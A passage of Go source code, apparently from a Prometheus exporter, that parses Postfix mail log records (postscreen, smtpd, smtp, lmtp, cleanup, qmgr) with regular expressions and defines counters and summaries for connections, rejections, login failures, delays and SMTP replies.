| if status == matches[2] { 187 | return nil 188 | } 189 | } 190 | return cfg.Regexp.FindStringSubmatchIndex(match(cfg.Match)) 191 | }); m != nil { 192 | text := string(cfg.Regexp.ExpandString(nil, cfg.Text, match(cfg.Match), m)) 193 | e.statusReplies.WithLabelValues(r.Subprogram, matches[2], reply.Code, reply.EnhancedCode, text).Inc() 194 | } 195 | } else { 196 | e.logger.Warn("Error parsing host reply", "record", r, "err", err) 197 | } 198 | } 199 | found := true 200 | if r.Subprogram == "postscreen" { 201 | if matches := rePsConnect.FindStringSubmatch(r.Text); matches != nil { 202 | e.postscreen.WithLabelValues("CONNECT").Inc() 203 | } else if matches := rePsDNS.FindStringSubmatch(r.Text); matches != nil { 204 | e.postscreen.WithLabelValues("DNSBL").Inc() 205 | } else if matches := rePsPregreet.FindStringSubmatch(r.Text); matches != nil { 206 | e.postscreen.WithLabelValues("PREGREET").Inc() 207 | } else if matches := rePsPass.FindStringSubmatch(r.Text); matches != nil { 208 | e.postscreen.WithLabelValues("PASS " + matches[1]).Inc() 209 | } else if matches := rePsDisconnect.FindStringSubmatch(r.Text); matches != nil { 210 | e.postscreen.WithLabelValues("DISCONNECT").Inc() 211 | } else if matches := rePsHangup.FindStringSubmatch(r.Text); matches != nil { 212 | e.postscreen.WithLabelValues("HANGUP").Inc() 213 | } else if matches := rePsNoqueueRcpt.FindStringSubmatch(r.Text); matches != nil { 214 | e.postscreen.WithLabelValues("NOQUEUE: RCPT").Inc() 215 | } else if matches := rePsData.FindStringSubmatch(r.Text); matches != nil { 216 | e.postscreen.WithLabelValues("DATA").Inc() 217 | } else if matches := rePsBdat.FindStringSubmatch(r.Text); matches != nil { 218 | e.postscreen.WithLabelValues("BDAT").Inc() 219 | } else if matches := rePsCmdTimeLimit.FindStringSubmatch(r.Text); matches != nil { 220 | e.postscreen.WithLabelValues("COMMAND TIME LIMIT").Inc() 221 | } else if matches := rePsCmdLengthLimit.FindStringSubmatch(r.Text); matches != nil { 222 | e.postscreen.WithLabelValues("COMMAND LENGTH LIMIT").Inc() 223 | } else if matches := rePsBareNewline.FindStringSubmatch(r.Text); matches != nil { 224 | e.postscreen.WithLabelValues("BARE NEWLINE").Inc() 225 | } else if matches := rePsNonSMTPCmd.FindStringSubmatch(r.Text); matches != nil { 226 | e.postscreen.WithLabelValues("NON-SMTP COMMAND").Inc() 227 | } else if matches := rePsCmpPipelining.FindStringSubmatch(r.Text); matches != nil { 228 | e.postscreen.WithLabelValues("COMMAND PIPELINING").Inc() 229 | } else if matches := rePsCmdCountLimit.FindStringSubmatch(r.Text); matches != nil { 230 | e.postscreen.WithLabelValues("COMMAND COUNT LIMIT").Inc() 231 | } else if matches := rePsNoqueueConnect.FindStringSubmatch(r.Text); matches != nil { 232 | e.postscreen.WithLabelValues("NOQUEUE: CONNECT").Inc() 233 | } else if matches := rePsListed.FindStringSubmatch(r.Text); matches != nil { 234 | e.postscreen.WithLabelValues(matches[1]).Inc() 235 | } else if matches := rePsVeto.FindStringSubmatch(r.Text); matches != nil { 236 | e.postscreen.WithLabelValues(matches[1] + " VETO").Inc() 237 | } else { 238 | found = false 239 | } 240 | } else if r.Subprogram == "smtpd" || strings.HasSuffix(r.Subprogram, "/smtpd") { 241 | if strings.HasPrefix(r.Text, "NOQUEUE: reject:") { 242 | if matches := reNoqueueReject.FindStringSubmatch(r.Text); matches != nil { 243 | match := func(typ config.MatchType) string { 244 | switch typ { 245 | case config.MatchTypeCode: 246 | return matches[2] 247 | case config.MatchTypeEnhancedCode: 248 | return matches[3] 249 | default: 250 | return matches[5] 251 | } 252 | } 253 | if cfg, m := findSubmatch(e.config.NoqueueRejectReplies, func(cfg config.ReplyMatchConfig) []int { 254 | return cfg.Regexp.FindStringSubmatchIndex(match(cfg.Match)) 255 | }); m != nil { 256 | text := string(cfg.Regexp.ExpandString(nil, cfg.Text, match(cfg.Match), m)) 257 | e.noqueueRejectReplies.WithLabelValues(r.Subprogram, matches[1], matches[2], matches[3], text).Inc() 258 | } 259 | } else { 260 | found = false 261 | } 262 | } else if matches := reConnect.FindStringSubmatch(r.Text); matches != nil { 263 | e.connects.WithLabelValues(r.Subprogram).Inc() 264 | } else if matches := reDisconnect.FindStringSubmatch(r.Text); matches != nil { 265 | e.disconnects.WithLabelValues(r.Subprogram).Inc() 266 | } else if matches := reLostConnection.FindStringSubmatch(r.Text); matches != nil { 267 | e.lostConnections.WithLabelValues(r.Subprogram).Inc() 268 | } else if matches := reHostnameNotResolve.FindStringSubmatch(r.Text); matches != nil { 269 | e.hostnameNotResolved.WithLabelValues(r.Subprogram).Inc() 270 | } else if matches := reMilter.FindStringSubmatch(r.Text); matches != nil { 271 | e.milter.WithLabelValues(r.Subprogram, matches[1]).Inc() 272 | } else if matches := reLoginFailed.FindStringSubmatch(r.Text); matches != nil { 273 | e.loginFailed.WithLabelValues(r.Subprogram, matches[1]).Inc() 274 | } else { 275 | found = false 276 | } 277 | } else if r.Subprogram == "smtp" { 278 | if matches := reQueueStatus.FindStringSubmatch(r.Text); matches != nil { 279 | e.statuses.WithLabelValues(r.Subprogram, matches[2]).Inc() 280 | f, _ := strconv.ParseFloat(matches[1], 64) 281 | e.delays.WithLabelValues(r.Subprogram, matches[2]).Observe(f) 282 | if m := reHostSaid.FindStringSubmatch(matches[3]); m != nil { 283 | reply, err := parseHostReply(m[1]) 284 | if err == nil { 285 | if cfg, m := findSubmatch(e.config.StatusReplies, func(cfg config.StatusReplyMatchConfig) []int { 286 | return cfg.Regexp.FindStringSubmatchIndex(reply.Text) 287 | }); m != nil { 288 | text := string(cfg.Regexp.ExpandString(nil, cfg.Text, reply.Text, m)) 289 | e.statusReplies.WithLabelValues(r.Subprogram, matches[2], reply.Code, reply.EnhancedCode, text).Inc() 290 | } 291 | } else { 292 | e.logger.Warn("Error parsing host reply", "record", r, "err", err) 293 | } 294 | } else { 295 | parseStatusReply(matches) 296 | } 297 | } else if matches := reSmtpHostSaid.FindStringSubmatch(r.Text); matches != nil { 298 | reply, err := parseHostReply(matches[1]) 299 | if err == nil { 300 | if cfg, m := findSubmatch(e.config.SmtpReplies, func(cfg config.ReplyMatchConfig) []int { 301 | return cfg.Regexp.FindStringSubmatchIndex(reply.Text) 302 | }); m != nil { 303 | text := string(cfg.Regexp.ExpandString(nil, cfg.Text, reply.Text, m)) 304 | e.smtpReplies.WithLabelValues(reply.Code, reply.EnhancedCode, text).Inc() 305 | } 306 | } else { 307 | e.logger.Warn("Error parsing host reply", "record", r, "err", err) 308 | } 309 | } else { 310 | found = false 311 | } 312 | } else if r.Subprogram == "lmtp" { 313 | if matches := reQueueStatus.FindStringSubmatch(r.Text); matches != nil { 314 | e.statuses.WithLabelValues(r.Subprogram, matches[2]).Inc() 315 | f, _ := strconv.ParseFloat(matches[1], 64) 316 | e.delays.WithLabelValues(r.Subprogram, matches[2]).Observe(f) 317 | parseStatusReply(matches) 318 | } else { 319 | found = false 320 | } 321 | } else if r.Subprogram == "cleanup" { 322 | if matches := reMilter.FindStringSubmatch(r.Text); matches != nil { 323 | e.milter.WithLabelValues(r.Subprogram, matches[1]).Inc() 324 | } else { 325 | found = false 326 | } 327 | } else if r.Subprogram == "qmgr" { 328 | if matches := reQmgrStatus.FindStringSubmatch(r.Text); matches != nil { 329 | e.qmgrStatuses.WithLabelValues(matches[1]).Inc() 330 | } else { 331 | found = false 332 | } 333 | } else { 334 | found = false 335 | } 336 | if found { 337 | return 338 | } 339 | e.unsupported.Inc() 340 | e.logger.Debug("Unsupported log record", "record", r) 341 | } 342 | 343 | // New returns an initialized exporter. 344 | func New(collector Collector, instance string, cfg *config.Config, logger *slog.Logger) (*Exporter, error) { 345 | quantiles := map[float64]float64{0.5: 0.05, 0.9: 0.01, 0.99: 0.001} 346 | e := &Exporter{ 347 | ch: make(chan result), 348 | done: make(chan struct{}), 349 | collector: collector, 350 | instance: instance, 351 | logger: logger, 352 | config: cmp.Or(cfg, &config.Config{}), 353 | 354 | errors: prometheus.NewCounter(prometheus.CounterOpts{ 355 | Namespace: namespace, 356 | Name: "errors_total", 357 | Help: "Total number of log records parsing resulted in an error.", 358 | }), 359 | foreign: prometheus.NewCounter(prometheus.CounterOpts{ 360 | Namespace: namespace, 361 | Name: "foreign_total", 362 | Help: "Total number of foreign log records.", 363 | }), 364 | unsupported: prometheus.NewCounter(prometheus.CounterOpts{ 365 | Namespace: namespace, 366 | Name: "unsupported_total", 367 | Help: "Total number of unsupported log records.", 368 | }), 369 | postscreen: prometheus.NewCounterVec(prometheus.CounterOpts{ 370 | Namespace: namespace, 371 | Name: "postscreen_actions_total", 372 | Help: "Total number of times postscreen events were collected.", 373 | }, []string{"action"}), 374 | connects: prometheus.NewCounterVec(prometheus.CounterOpts{ 375 | Namespace: namespace, 376 | Name: "connects_total", 377 | Help: "Total number of times connect events were collected.", 378 | }, []string{"subprogram"}), 379 | disconnects: prometheus.NewCounterVec(prometheus.CounterOpts{ 380 | Namespace: namespace, 381 | Name: "disconnects_total", 382 | Help: "Total number of times disconnect events were collected.", 383 | }, []string{"subprogram"}), 384 | lostConnections: prometheus.NewCounterVec(prometheus.CounterOpts{ 385 | Namespace: namespace, 386 | Name: "lost_connections_total", 387 | Help: "Total number of times lost connection events were collected.", 388 | }, []string{"subprogram"}), 389 | hostnameNotResolved: prometheus.NewCounterVec(prometheus.CounterOpts{ 390 | Namespace: namespace, 391 | Name: "not_resolved_hostnames_total", 392 | Help: "Total number of times not resolved hostname events were collected.", 393 | }, []string{"subprogram"}), 394 | statuses: prometheus.NewCounterVec(prometheus.CounterOpts{ 395 | Namespace: namespace, 396 | Name: "statuses_total", 397 | Help: "Total number of times server message status change events were collected.", 398 | }, []string{"subprogram", "status"}), 399 | delays: prometheus.NewSummaryVec(prometheus.SummaryOpts{ 400 | Namespace: namespace, 401 | Name: "delay_seconds", 402 | Help: "Delay in seconds for a server to process a message.", 403 | Objectives: quantiles, 404 | }, []string{"subprogram", "status"}), 405 | statusReplies: prometheus.NewCounterVec(prometheus.CounterOpts{ 406 | Namespace: namespace, 407 | Name: "status_replies_total", 408 | Help: "Total number of times server message status change event replies were collected.", 409 | }, []string{"subprogram", "status", "code", "enhanced_code", "text"}), 410 | smtpReplies: prometheus.NewCounterVec(prometheus.CounterOpts{ 411 | Namespace: namespace, 412 | Name: "smtp_replies_total", 413 | Help: "Total number of times SMTP server replies were collected.", 414 | }, []string{"code", "enhanced_code", "text"}), 415 | milter: prometheus.NewCounterVec(prometheus.CounterOpts{ 416 | Namespace: namespace, 417 | Name: "milter_actions_total", 418 | Help: "Total number of times milter events were collected.", 419 | }, []string{"subprogram", "action"}), 420 | loginFailed: prometheus.NewCounterVec(prometheus.CounterOpts{ 421 | Namespace: namespace, 422 | Name: "login_failures_total", 423 | Help: "Total number of times login failure events were collected.", 424 | }, []string{"subprogram", "method"}), 425 | qmgrStatuses: prometheus.NewCounterVec(prometheus.CounterOpts{ 426 | Namespace: namespace, 427 | Name: "qmgr_statuses_total", 428 | Help: "Total number of times Postfix queue manager message status change events were collected.", 429 | }, []string{"status"}), 430 | logs: prometheus.NewCounterVec(prometheus.CounterOpts{ 431 | Namespace: namespace, 432 | Name: "logs_total", 433 | Help: "Total number of log records processed.", 434 | }, []string{"subprogram", "severity"}), 435 | noqueueRejectReplies: prometheus.NewCounterVec(prometheus.CounterOpts{ 436 | Namespace: namespace, 437 | Name: "noqueue_reject_replies_total", 438 | Help: "Total number of times NOQUEUE: reject event replies were collected.", 439 | }, []string{"subprogram", "command", "code", "enhanced_code", "text"}), 440 | } 441 | if err := e.collector.Collect(e.ch); err != nil { 442 | return nil, err 443 | } 444 | e.wg.Add(1) 445 | go func() { 446 | defer e.wg.Done() 447 | for { 448 | select { 449 | case res := <-e.ch: 450 | e.process(res.rec, res.err) 451 | case <-e.done: 452 | return 453 | } 454 | } 455 | }() 456 | return e, nil 457 | } 458 | 459 | type hostReply struct { 460 | Code string 461 | EnhancedCode string 462 | Text string 463 | } 464 | 465 | func parseHostReply(s string) (*hostReply, error) { 466 | matches := reHostReplyStatus.FindStringSubmatch(s) 467 | if matches == nil { 468 | return nil, errors.New("failed to find host reply in " + strconv.Quote(s)) 469 | } 470 | reply := &hostReply{ 471 | Code: matches[1], 472 | Text: matches[len(matches)-1], 473 | } 474 | if len(matches) == 5 { 475 | reply.EnhancedCode = matches[3] 476 | } 477 | return reply, nil 478 | } 479 | 480 | func findSubmatch[S ~[]E, E any](slice S, f func(E) []int) (E, []int) { 481 | var zero E 482 | for _, e := range slice { 483 | if m := f(e); m != nil { 484 | return e, m 485 | } 486 | } 487 | return zero, nil 488 | } 489 | --------------------------------------------------------------------------------